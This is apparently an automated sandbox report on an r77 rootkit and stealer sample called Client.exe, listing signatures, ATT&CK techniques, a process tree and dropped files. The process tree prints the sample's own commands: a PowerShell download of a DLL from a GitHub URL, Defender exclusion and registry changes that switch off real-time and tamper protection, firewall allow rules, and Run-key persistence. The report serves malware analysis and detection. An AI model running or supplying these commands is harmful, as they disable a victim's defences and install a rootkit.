r77 | 62566a803d4f1d485a6df2a9fcd7af4861631e77785b973844e668dda51c74f0

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
19-08-2024 00:54

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General

Target

Client.exe
Size

34KB
MD5

de2ff0cf683f97d87c97a84a0bdeb49e
SHA1

52a3d2012d8dde1e131f4c8e060d193e2f1237cf
SHA256

62566a803d4f1d485a6df2a9fcd7af4861631e77785b973844e668dda51c74f0
SHA512

56c169cdf07c47ca5e0c51507c0c02b1d01a183c9536eb74eeb2e432cf954812a37a9af2974f0cc48cc5e2dadbab73c530e82e2048163c1c3389848b8e58da4e
SSDEEP

768:QpNkDJkjKB41eZuT0dm9joyZwPhtbPn9BX3qJKhSdN38:kNkDNB41eZw9jonR/9N3qJKhsh8

Score

10^/10

r77 credential_access discovery evasion execution persistence privilege_escalation rootkit spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/NGROKC/CTC/raw/main/CTC64.dll

Signatures

Contains code to disable Windows Defender 2 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

Processes:

resource	yara_rule
behavioral2/memory/2044-1-0x0000000000030000-0x000000000003E000-memory.dmp	disable_win_def
C:\ProgramData\Windows Security\$77-Windows Security Notification.exe	disable_win_def

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

Processes:

$77-Windows Security Notification.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	$77-Windows Security Notification.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	$77-Windows Security Notification.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	$77-Windows Security Notification.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	$77-Windows Security Notification.exe

r77
r77 is an open-source, userland rootkit.
rootkit r77

r77 rootkit payload 1 IoCs

Detects the payload of the r77 rootkit.

Processes:

resource	yara_rule
C:\ProgramData\Windows Security\r77-x64.dll	r77_payload

Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

33 4400 powershell.exe
35 4400 powershell.exe
Downloads MZ/PE file
Event Triggered Execution: AppInit DLLs 1 TTPs
Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.
persistence privilege_escalation

AppInit DLLs
T1546.010
Modifies Windows Firewall 2 TTPs 2 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exenetsh.exe

pid process

4744 netsh.exe
1056 netsh.exe

flow	pid	process
33	4400	powershell.exe
35	4400	powershell.exe

pid	process
4744	netsh.exe
1056	netsh.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

$77-Windows Security Notification.exeClient.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation	$77-Windows Security Notification.exe
Key value queried	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation	Client.exe

Drops startup file 2 IoCs

Processes:

$77-Windows Security Notification.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-Windows Security Notification.exe	$77-Windows Security Notification.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77-Windows Security Notification.exe	$77-Windows Security Notification.exe

Executes dropped EXE 1 IoCs

Processes:

$77-Windows Security Notification.exe

pid process

1872 $77-Windows Security Notification.exe
Loads dropped DLL 4 IoCs

Processes:

taskmgr.exe

pid process

4708
2452
4428
3980 taskmgr.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

pid	process
1872	$77-Windows Security Notification.exe

pid	process
4708
2452
4428
3980	taskmgr.exe

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

$77-Windows Security Notification.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	$77-Windows Security Notification.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	$77-Windows Security Notification.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

$77-Windows Security Notification.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\$77-Windows Security Notification = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\$77-Windows Security Notification.exe"	$77-Windows Security Notification.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\$77-Windows Security Notification = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\$77-Windows Security Notification.exe"	$77-Windows Security Notification.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

4400 powershell.exe
4752 powershell.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

34 raw.githubusercontent.com
35 raw.githubusercontent.com
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
4400	powershell.exe
4752	powershell.exe

flow	ioc
34	raw.githubusercontent.com
35	raw.githubusercontent.com

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

Processes:

netsh.exenetsh.exe

description	ioc	process
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

Client.exeexplorer.exe$77-Windows Security Notification.exenetsh.exepowershell.exenetsh.execmd.exepowershell.exepowershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Client.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	$77-Windows Security Notification.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

taskmgr.exetaskmgr.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe

Modifies registry class 5 IoCs

Processes:

taskmgr.exe

description	ioc	process
Set value (data)	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	taskmgr.exe
Key created	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000_Classes\Local Settings	taskmgr.exe
Key created	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	taskmgr.exe
Key created	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	taskmgr.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	taskmgr.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

taskmgr.exepowershell.exepowershell.exepowershell.exe

pid	process
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
4400	powershell.exe
4400	powershell.exe
4400	powershell.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
4072	powershell.exe
4072	powershell.exe
4752	powershell.exe
4752	powershell.exe
4072	powershell.exe
4752	powershell.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe

Suspicious use of AdjustPrivilegeToken 16 IoCs

Processes:

taskmgr.exepowershell.exepowershell.exepowershell.exe$77-Windows Security Notification.exetaskmgr.exe

description	pid	process
Token: SeDebugPrivilege	2336	taskmgr.exe
Token: SeSystemProfilePrivilege	2336	taskmgr.exe
Token: SeCreateGlobalPrivilege	2336	taskmgr.exe
Token: SeDebugPrivilege	4400	powershell.exe
Token: SeDebugPrivilege	4072	powershell.exe
Token: SeDebugPrivilege	4752	powershell.exe
Token: SeDebugPrivilege	1872	$77-Windows Security Notification.exe
Token: 33	1872	$77-Windows Security Notification.exe
Token: SeIncBasePriorityPrivilege	1872	$77-Windows Security Notification.exe
Token: 33	2336	taskmgr.exe
Token: SeIncBasePriorityPrivilege	2336	taskmgr.exe
Token: SeDebugPrivilege	3980	taskmgr.exe
Token: SeSystemProfilePrivilege	3980	taskmgr.exe
Token: SeCreateGlobalPrivilege	3980	taskmgr.exe
Token: 33	3980	taskmgr.exe
Token: SeIncBasePriorityPrivilege	3980	taskmgr.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

taskmgr.exe

pid	process
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

taskmgr.exe

pid	process
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe
2336	taskmgr.exe

Suspicious use of WriteProcessMemory 24 IoCs

Processes:

Client.exeexplorer.exe$77-Windows Security Notification.execmd.exe

description	pid	process	target process
PID 2044 wrote to memory of 2968	2044	Client.exe	explorer.exe
PID 2044 wrote to memory of 2968	2044	Client.exe	explorer.exe
PID 2044 wrote to memory of 2968	2044	Client.exe	explorer.exe
PID 1296 wrote to memory of 1872	1296	explorer.exe	$77-Windows Security Notification.exe
PID 1296 wrote to memory of 1872	1296	explorer.exe	$77-Windows Security Notification.exe
PID 1296 wrote to memory of 1872	1296	explorer.exe	$77-Windows Security Notification.exe
PID 1872 wrote to memory of 4744	1872	$77-Windows Security Notification.exe	netsh.exe
PID 1872 wrote to memory of 4744	1872	$77-Windows Security Notification.exe	netsh.exe
PID 1872 wrote to memory of 4744	1872	$77-Windows Security Notification.exe	netsh.exe
PID 1872 wrote to memory of 1056	1872	$77-Windows Security Notification.exe	netsh.exe
PID 1872 wrote to memory of 1056	1872	$77-Windows Security Notification.exe	netsh.exe
PID 1872 wrote to memory of 1056	1872	$77-Windows Security Notification.exe	netsh.exe
PID 1872 wrote to memory of 4436	1872	$77-Windows Security Notification.exe	cmd.exe
PID 1872 wrote to memory of 4436	1872	$77-Windows Security Notification.exe	cmd.exe
PID 1872 wrote to memory of 4436	1872	$77-Windows Security Notification.exe	cmd.exe
PID 4436 wrote to memory of 4400	4436	cmd.exe	powershell.exe
PID 4436 wrote to memory of 4400	4436	cmd.exe	powershell.exe
PID 4436 wrote to memory of 4400	4436	cmd.exe	powershell.exe
PID 1872 wrote to memory of 4752	1872	$77-Windows Security Notification.exe	powershell.exe
PID 1872 wrote to memory of 4752	1872	$77-Windows Security Notification.exe	powershell.exe
PID 1872 wrote to memory of 4752	1872	$77-Windows Security Notification.exe	powershell.exe
PID 1872 wrote to memory of 4072	1872	$77-Windows Security Notification.exe	powershell.exe
PID 1872 wrote to memory of 4072	1872	$77-Windows Security Notification.exe	powershell.exe
PID 1872 wrote to memory of 4072	1872	$77-Windows Security Notification.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\Client.exe
"C:\Users\Admin\AppData\Local\Temp\Client.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2044
- C:\Windows\SysWOW64\explorer.exe
  "C:\Windows\System32\explorer.exe" C:\ProgramData\Windows Security\$77-Windows Security Notification.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2968

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2336

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Suspicious use of WriteProcessMemory
PID:1296
- C:\ProgramData\Windows Security\$77-Windows Security Notification.exe
  "C:\ProgramData\Windows Security\$77-Windows Security Notification.exe"
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  - Checks computer location settings
  - Drops startup file
  - Executes dropped EXE
  - Windows security modification
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1872
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall add allowedprogram "C:\ProgramData\Windows Security\$77-Windows Security Notification.exe" "$77-Windows Security Notification.exe" ENABLE
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:4744
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall add allowedprogram "C:\ProgramData\Windows Security\$77-Windows Security Notification.exe" "$77-Windows Security Notification.exe" ENABLE
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:1056
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Rot.bat" "
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4436
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/NGROKC/CTC/raw/main/CTC64.dll','C:\ProgramData\Windows Security\r77-x64.dll');exit
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4400
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionExtension exe,vbs,bat,hta,lnk,dll,ps1;exit
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4752
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "powershell" Get-MpPreference -verbose
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4072

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3736

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:3980

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\ProgramData\Windows Security\$77-Windows Security Notification.exe

Filesize
34KB

MD5
de2ff0cf683f97d87c97a84a0bdeb49e

SHA1
52a3d2012d8dde1e131f4c8e060d193e2f1237cf

SHA256
62566a803d4f1d485a6df2a9fcd7af4861631e77785b973844e668dda51c74f0

SHA512
56c169cdf07c47ca5e0c51507c0c02b1d01a183c9536eb74eeb2e432cf954812a37a9af2974f0cc48cc5e2dadbab73c530e82e2048163c1c3389848b8e58da4e

Download Submit
C:\ProgramData\Windows Security\r77-x64.dll

Filesize
147KB

MD5
1b8bd653321cf3cbc786e563555fbc75

SHA1
5638efe0476c8c1b74c6604db419be814d1d90a0

SHA256
919a332e85d7c32a6f0a1bdd15b211b8b273b73fe05a553ea0f230a0958586c7

SHA512
bafdbc8413828c5427983fa0e9403a2d9a88d0ad2f27f92842310852d273f2d2c9a0c6f9f64e1aac03fadf49f9a3bcf58c6b7c8b06debcce46536114cde0175b

Download Submit
C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx

Filesize
64KB

MD5
d2fb266b97caff2086bf0fa74eddb6b2

SHA1
2f0061ce9c51b5b4fbab76b37fc6a540be7f805d

SHA256
b09f68b61d9ff5a7c7c8b10eee9447d4813ee0e866346e629e788cd4adecb66a

SHA512
c3ba95a538c1d266beb83334af755c34ce642a4178ab0f2e5f7822fd6821d3b68862a8b58f167a9294e6d913b08c1054a69b5d7aec2efdb3cf9796ed84de21a8

Download Submit
C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock

Filesize
4B

MD5
f49655f856acb8884cc0ace29216f511

SHA1
cb0f1f87ec0455ec349aaa950c600475ac7b7b6b

SHA256
7852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba

SHA512
599e93d25b174524495ed29653052b3590133096404873318f05fd68f4c9a5c9a3b30574551141fbb73d7329d6be342699a17f3ae84554bab784776dfda2d5f8

Download Submit
C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val

Filesize
944B

MD5
6bd369f7c74a28194c991ed1404da30f

SHA1
0f8e3f8ab822c9374409fe399b6bfe5d68cbd643

SHA256
878947d0ec814fe7c343cdebc05eebf00eb14f3023bdb3809a559e17f399fe5d

SHA512
8fc5f073dc9fa1e1ae47c60a5f06e0a48709fd6a4302dffaa721858409e7bde64bc6856d3fb28891090516d1a7afc542579de287778b5755eafe75cc67d45d93

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
1KB

MD5
4280e36a29fa31c01e4d8b2ba726a0d8

SHA1
c485c2c9ce0a99747b18d899b71dfa9a64dabe32

SHA256
e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359

SHA512
494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
cd9d129ba93ef793c9cb5fb06bb7f268

SHA1
fe17b23010cad05f5ce852c0f4c05b73faf2c26c

SHA256
81d9328f68a681c27cbe9b4cf56c53af6b91d7f53b720d8f266710dc862c0317

SHA512
bfe9c931adaabbea39389ca948bdef3cb4c0b54dbc41a700b8ede86b6b9f267eda4dbe1fcd9682c067ef9ea61ed1f6d5000e55018559c0f850802ff812a40a26

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
16KB

MD5
c159923b1e743d24edaa87ab2fa13933

SHA1
0f95f1f56141fe81c1629bc8b0db3ec3c446bc1c

SHA256
d4db5fa1e75a3b953dd63059cc0e34b7e0ccbc7ed8e7d59249aab889c2331970

SHA512
d1ccfe98040c11f97e1e238cd691986231b7146d8be470e72f58a919f2649834c8a1a0a23527ea0d49980fa47b8aa9f7af3b2f601e97669de0c70de8bf80258d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Rot.bat

Filesize
251B

MD5
eb42fd6dc5814aaaad5ae381e4c64cae

SHA1
9fc6655c50b8543fcab600256d104c33bc37f6bb

SHA256
ae65c56a9718326d6899262eea15044cf418b341472645098f68b6e3f0729068

SHA512
e2d7e8853a29b4a55d4797b3e340631d14af83e0bff3f2521b56a2435b92dbc2f5d101dbd4f516d23f6b136c62d65f1a9bd47268e0f209108967b85e3b70b17a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tqzfzv3h.xy0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1872-114-0x00000000068B0000-0x0000000006942000-memory.dmp

Filesize
584KB

Download
memory/1872-121-0x0000000007360000-0x000000000736A000-memory.dmp

Filesize
40KB

Download
memory/1872-117-0x0000000006B90000-0x0000000006C28000-memory.dmp

Filesize
608KB

Download
memory/1872-118-0x0000000006DE0000-0x0000000006E74000-memory.dmp

Filesize
592KB

Download
memory/1872-119-0x0000000006EC0000-0x0000000006F10000-memory.dmp

Filesize
320KB

Download
memory/1872-116-0x0000000006880000-0x000000000688E000-memory.dmp

Filesize
56KB

Download
